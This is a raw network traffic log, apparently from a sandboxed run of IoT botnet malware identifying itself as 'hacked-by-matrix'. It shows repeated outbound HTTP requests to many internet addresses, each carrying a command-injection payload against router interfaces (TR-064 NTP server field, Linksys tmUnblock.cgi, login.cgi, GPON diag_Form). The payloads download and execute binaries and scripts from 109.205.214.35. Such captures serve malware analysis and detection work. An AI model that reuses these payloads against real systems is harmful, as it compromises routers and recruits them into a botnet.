Mar 21, 2024 05:26:15.207710028 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
821	192.168.2.23	40360	203.220.190.64	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.221383095 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.271497965 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.607016087 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 14:26:16 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
822	192.168.2.23	43284	174.110.227.32	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.251655102 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
823	192.168.2.23	48738	86.150.122.60	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.273051023 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.143495083 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
824	192.168.2.23	34744	188.120.197.16	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.293051958 CET	442	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 41 6d 61 6b 61 6e 6f 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+Amakano.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:26:15.477562904 CET	413	IN	HTTP/1.1 401 Unauthorized Date: Sat, 15 Jul 2017 00:43:06 GMT Server: Boa/0.94.14rc21 Accept-Ranges: bytes Connection: close WWW-Authenticate: Basic realm="PCV AC680R1" Content-Type: text/html; charset=ISO-8859-1 Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 3c 48 31 3e 34 30 31 20 55 6e 61 75 74 68 6f 72 69 7a 65 64 3c 2f 48 31 3e 0a 59 6f 75 72 20 63 6c 69 65 6e 74 20 64 6f 65 73 20 6e 6f 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 67 65 74 20 55 52 4c 20 2f 74 6d 55 6e 62 6c 6f 63 6b 2e 63 67 69 20 66 72 6f 6d 20 74 68 69 73 20 73 65 72 76 65 72 2e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>401 Unauthorized</TITLE></HEAD><BODY><H1>401 Unauthorized</H1>Your client does not have permission to get URL /tmUnblock.cgi from this server.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
825	192.168.2.23	33280	32.211.13.103	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.339868069 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
826	192.168.2.23	43296	174.110.227.32	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.376250982 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.045886993 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
827	192.168.2.23	46652	159.235.96.182	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.438079119 CET	228	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:26:15.604288101 CET	500	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:26:16 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
828	192.168.2.23	39782	59.30.27.153	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.485461950 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
829	192.168.2.23	36166	81.151.14.142	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.604367971 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:26:16.702104092 CET	86	IN	HTTP/1.1 503 Service Unavailable Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
830	192.168.2.23	43556	179.113.95.97	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.665186882 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
831	192.168.2.23	34336	103.179.190.80	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.767791986 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
832	192.168.2.23	39802	59.30.27.153	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.770427942 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
833	192.168.2.23	43616	179.113.95.97	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:15.895226955 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
834	192.168.2.23	59822	172.67.75.255	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.106975079 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
835	192.168.2.23	42040	172.67.112.67	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.107377052 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
836	192.168.2.23	38204	172.67.204.93	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.194705009 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
837	192.168.2.23	34686	172.67.232.227	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.195364952 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
838	192.168.2.23	54074	212.199.138.64	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216459990 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
839	192.168.2.23	36124	118.31.225.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216464996 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.23	60010	37.87.4.116	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216500044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.23	58318	210.46.40.16	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216531992 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.23	42626	109.27.45.171	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:16.216541052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.23	35606	37.126.63.18	443

Timestamp	Bytes transferred	Direction	Data
